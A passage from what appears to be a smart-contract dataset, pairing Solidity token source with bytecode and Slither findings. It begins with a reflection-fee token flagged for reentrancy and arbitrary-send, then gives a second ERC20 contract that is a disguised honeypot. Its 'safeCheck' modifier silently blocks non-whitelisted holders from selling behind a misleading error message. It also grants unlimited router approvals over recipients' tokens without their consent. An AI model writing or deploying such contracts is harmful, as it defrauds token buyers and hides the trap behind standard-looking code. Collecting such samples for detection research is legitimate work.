tTeam) = _getTValues(tAmount, _reflection, _teamFee, tBurn); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(3)); _marketingFunds.transfer(amount.div(3)); _developmentFunds.transfer(amount.div(3)); } receive() external payable {} }
0x60806040526004361061012e5760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103cb578063a9059cbb146103e0578063c3c8cd8014610419578063d543dbeb1461042e578063dd62ed3e14610458578063e8078d941461049357610135565b80636fc3eaec1461034457806370a0823114610359578063715018a61461038c5780637a32bae4146103a15780638da5cb5b146103b657610135565b806323b872dd116100f257806323b872dd14610264578063313ce567146102a757806349bd5a5e146102d25780635932ead1146103035780636ddd17131461032f57610135565b806306fdde031461013a578063095ea7b3146101c45780631392d2651461021157806318160ddd146102285780631dfbdf291461024f57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104a8565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d057600080fd5b506101fd600480360360408110156101e757600080fd5b506001600160a01b0381351690602001356104d0565b604080519115158252519081900360200190f35b34801561021d57600080fd5b506102266104ee565b005b34801561023457600080fd5b5061023d610571565b60408051918252519081900360200190f35b34801561025b57600080fd5b5061023d610577565b34801561027057600080fd5b506101fd6004803603606081101561028757600080fd5b506001600160a01b0381358116916020810135909116906040013561057d565b3480156102b357600080fd5b506102bc610604565b6040805160ff9092168252519081900360200190f35b3480156102de57600080fd5b506102e7610609565b604080516001600160a01b039092168252519081900360200190f35b34801561030f57600080fd5b506102266004803603602081101561032657600080fd5b50351515610618565b34801561033b57600080fd5b506101fd61068e565b34801561035057600080fd5b5061022661069e565b34801561036557600080fd5b5061023d6004803603602081101561037c57600080fd5b50356001600160a01b0316610703565b34801561039857600080fd5b50610226610725565b3480156103ad57600080fd5b506101fd6107c7565b3480156103c257600080fd5b506102e76107d7565b3480156103d757600080fd5b5061014f6107e6565b3480156103ec57600080fd5b506101fd6004803603604081101561040357600080fd5b506001600160a01b03813516906020013561080b565b34801561042557600080fd5b5061022661081f565b34801561043a57600080fd5b506102266004803603602081101561045157600080fd5b503561088d565b34801561046457600080fd5b5061023d6004803603604081101561047b57600080fd5b506001600160a01b0381358116916020013516610994565b34801561049f57600080fd5b506102266109bf565b60408051808201909152600e81526d566972616c20457468657265756d60901b602082015290565b60006104e46104dd610d4f565b8484610d53565b5060015b92915050565b6104f6610d4f565b6000546001600160a01b03908116911614610546576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4e833981519152604482015290519081900360640190fd5b601254600160a81b900460ff1661055c57600080fd5b6012805460ff60a01b1916600160a01b179055565b60045490565b60075481565b600061058a848484610e3f565b6105fa84610596610d4f565b6105f585604051806060016040528060288152602001611e26602891396001600160a01b038a166000908152600860205260408120906105d4610d4f565b6001600160a01b03168152602081019190915260400160002054919061147a565b610d53565b5060019392505050565b600990565b6012546001600160a01b031681565b610620610d4f565b6000546001600160a01b03908116911614610670576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4e833981519152604482015290519081900360640190fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b601254600160b81b900460ff1681565b6106a6610d4f565b6000546001600160a01b039081169116146106f6576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4e833981519152604482015290519081900360640190fd5b4761070081611511565b50565b6001600160a01b0381166000908152600260205260408120546104e8906115dd565b61072d610d4f565b6000546001600160a01b0390811691161461077d576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4e833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b601254600160a01b900460ff1681565b6000546001600160a01b031690565b60408051808201909152600b81526a19559a5c985b083c27e9eb60aa1b602082015290565b60006104e4610818610d4f565b8484610e3f565b610827610d4f565b6000546001600160a01b03908116911614610877576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4e833981519152604482015290519081900360640190fd5b600061088230610703565b90506107008161163d565b610895610d4f565b6000546001600160a01b039081169116146108e5576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4e833981519152604482015290519081900360640190fd5b6000811161093a576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b61095a60646109548360045461180c90919063ffffffff16565b90611865565b601381905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6109c7610d4f565b6000546001600160a01b03908116911614610a17576040805162461bcd60e51b81526020600482018190526024820152600080516020611e4e833981519152604482015290519081900360640190fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117918290556004549091610a5b9130916001600160a01b031690610d53565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9457600080fd5b505afa158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0e57600080fd5b505afa158015610b22573d6000803e3d6000fd5b505050506040513d6020811015610b3857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8a57600080fd5b505af1158015610b9e573d6000803e3d6000fd5b505050506040513d6020811015610bb457600080fd5b5051601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730610be681610703565b600080610bf16107d7565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5c57600080fd5b505af1158015610c70573d6000803e3d6000fd5b50505050506040513d6060811015610c8757600080fd5b50506012805460ff60a81b1960ff60c01b1960ff60b81b19909216600160b81b1791909116600160c01b1716600160a81b179081905567712bd4c32b9f82006013556011546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d2057600080fd5b505af1158015610d34573d6000803e3d6000fd5b505050506040513d6020811015610d4a57600080fd5b505050565b3390565b6001600160a01b038316610d985760405162461bcd60e51b8152600401808060200182810382526024815260200180611ebc6024913960400191505060405180910390fd5b6001600160a01b038216610ddd5760405162461bcd60e51b8152600401808060200182810382526022815260200180611de36022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e845760405162461bcd60e51b8152600401808060200182810382526025815260200180611e976025913960400191505060405180910390fd5b6001600160a01b038216610ec95760405162461bcd60e51b8152600401808060200182810382526023815260200180611d966023913960400191505060405180910390fd5b60008111610f085760405162461bcd60e51b8152600401808060200182810382526029815260200180611e6e6029913960400191505060405180910390fd5b610f106107d7565b6001600160a01b0316836001600160a01b031614158015610f4a5750610f346107d7565b6001600160a01b0316826001600160a01b031614155b1561141d57601254600160c01b900460ff1615611044576001600160a01b0383163014801590610f8357506001600160a01b0382163014155b8015610f9d57506011546001600160a01b03848116911614155b8015610fb757506011546001600160a01b03838116911614155b15611044576011546001600160a01b0316610fd0610d4f565b6001600160a01b03161480610fff57506012546001600160a01b0316610ff4610d4f565b6001600160a01b0316145b611044576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b6012546001600160a01b03848116911614801561106f57506011546001600160a01b03838116911614155b801561109457506001600160a01b03821660009081526009602052604090205460ff16155b80156110a95750601254600160c01b900460ff165b1561112357601254600160a01b900460ff166110c457600080fd5b6013548111156110d357600080fd5b6001600160a01b0382166000908152600a602052604090205442116110f757600080fd5b6001600160a01b0382166000908152600a60205260408120602d42019055600760155560036014556016555b600061112e30610703565b601254909150600160b01b900460ff1615801561115957506012546001600160a01b03858116911614155b801561116e5750601254600160b81b900460ff165b1561141b576012546111a090629896809061095490620425d49061119a906001600160a01b0316610703565b9061180c565b82111580156111b157506013548211155b6111ba57600080fd5b6001600160a01b0384166000908152600b602052604090205442116111de57600080fd5b6001600160a01b0384166000908152600c60205260409020544262015180909101101561121f576001600160a01b0384166000908152600d60205260408120555b6001600160a01b0384166000908152600d602052604090205461127f576001600160a01b0384166000908152600d6020908152604080832080546001019055600c82528083204290819055600b909252909120610e1090910190556113de565b6001600160a01b0384166000908152600d6020526040902054600114156112d5576001600160a01b0384166000908152600d6020908152604080832080546001019055600b9091529020611c20420190556113de565b6001600160a01b0384166000908152600d60205260409020546002141561132b576001600160a01b0384166000908152600d6020908152604080832080546001019055600b9091529020612a30420190556113de565b6001600160a01b0384166000908152600d602052604090205460031415611381576001600160a01b0384166000908152600d6020908152604080832080546001019055600b9091529020616270420190556113de565b6001600160a01b0384166000908152600d6020526040902054600414156113de576001600160a01b0384166000908152600d6020908152604080832080546001019055600c825280832054600b9092529091206201518090910190555b6113e78161163d565b4780156113f7576113f747611511565b6001600160a01b0385166000908152600d6020526040902054611419906118a7565b505b505b6001600160a01b03831660009081526009602052604090205460019060ff168061145f57506001600160a01b03831660009081526009602052604090205460ff165b15611468575060005b611474848484846118cf565b50505050565b600081848411156115095760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156114ce5781810151838201526020016114b6565b50505050905090810190601f1680156114fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600e546001600160a01b03166108fc61152b836003611865565b6040518115909202916000818181858888f19350505050158015611553573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61156e836003611865565b6040518115909202916000818181858888f19350505050158015611596573d6000803e3d6000fd5b506010546001600160a01b03166108fc6115b1836003611865565b6040518115909202916000818181858888f193505050501580156115d9573d6000803e3d6000fd5b5050565b60006005548211156116205760405162461bcd60e51b815260040180806020018281038252602a815260200180611db9602a913960400191505060405180910390fd5b600061162a611900565b90506116368382611865565b9392505050565b6012805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061167f57fe5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116d357600080fd5b505afa1580156116e7573d6000803e3d6000fd5b505050506040513d60208110156116fd57600080fd5b505181518290600190811061170e57fe5b6001600160a01b0392831660209182029290920101526011546117349130911684610d53565b60115460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156117ba5781810151838201526020016117a2565b505050509050019650505050505050600060405180830381600087803b1580156117e357600080fd5b505af11580156117f7573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261181b575060006104e8565b8282028284828161182857fe5b04146116365760405162461bcd60e51b8152600401808060200182810382526021815260200180611e056021913960400191505060405180910390fd5b600061163683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611923565b6014546118b4908261180c565b6014556016546118c4908261180c565b601655506007601555565b806118dc576118dc611988565b6118e78484846119c0565b8061147457611474600760148190556015556001601655565b600080600061190d611ada565b909250905061191c8282611865565b9250505090565b600081836119725760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156114ce5781810151838201526020016114b6565b50600083858161197e57fe5b0495945050505050565b6014541580156119985750601554155b80156119a45750601654155b156119ae576119be565b6000601481905560158190556016555b565b6000806119cc83611b11565b915091506000806000806000806119e38888611b8a565b955095509550955095509550611a2786600260008e6001600160a01b03166001600160a01b0316815260200190815260200160002054611be990919063ffffffff16565b6001600160a01b03808d1660009081526002602052604080822093909355908c1681522054611a569086611c2b565b6001600160a01b038b16600090815260026020526040902055611a7881611c85565b611a828483611ccf565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b6005546004546000918291611aef8282611865565b821015611b0757600554600454935093505050611b0d565b90925090505b9091565b6000808281611b1e611900565b90506000611b3c60646109546016548961180c90919063ffffffff16565b90506000611b4a828461180c565b600454909150611b5a9083611be9565b600455600554611b6a9082611be9565b600555600754611b7a9083611c2b565b6007555091935090915050915091565b6000806000806000806000806000611ba88b6014546015548d611cf3565b9250925092506000611bb8611900565b90506000806000611bcb8f878787611d45565b919e509c509a50959850939650919450505050509295509295509295565b600061163683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061147a565b600082820183811015611636576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611c8f611900565b90506000611c9d838361180c565b30600090815260026020526040902054909150611cba9082611c2b565b30600090815260026020526040902055505050565b600554611cdc9083611be9565b600555600654611cec9082611c2b565b6006555050565b6000808080611d0760646109548a8a61180c565b90506000611d1a60646109548b8a61180c565b90506000611d3487611d2e84818e88611be9565b90611be9565b9a9299509097509095505050505050565b6000808080611d54888661180c565b90506000611d62888761180c565b90506000611d70888861180c565b90506000611d8282611d2e8686611be9565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122070cea1f98026cec8bf48bb4b0791003a3bf41f32e57a2eca221bdd095c2ab4df64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,078
0x968166d72d866242b3d36604b04f2981ffd21c1d
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_POLX(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173fffffffffffffffffffffffffffffff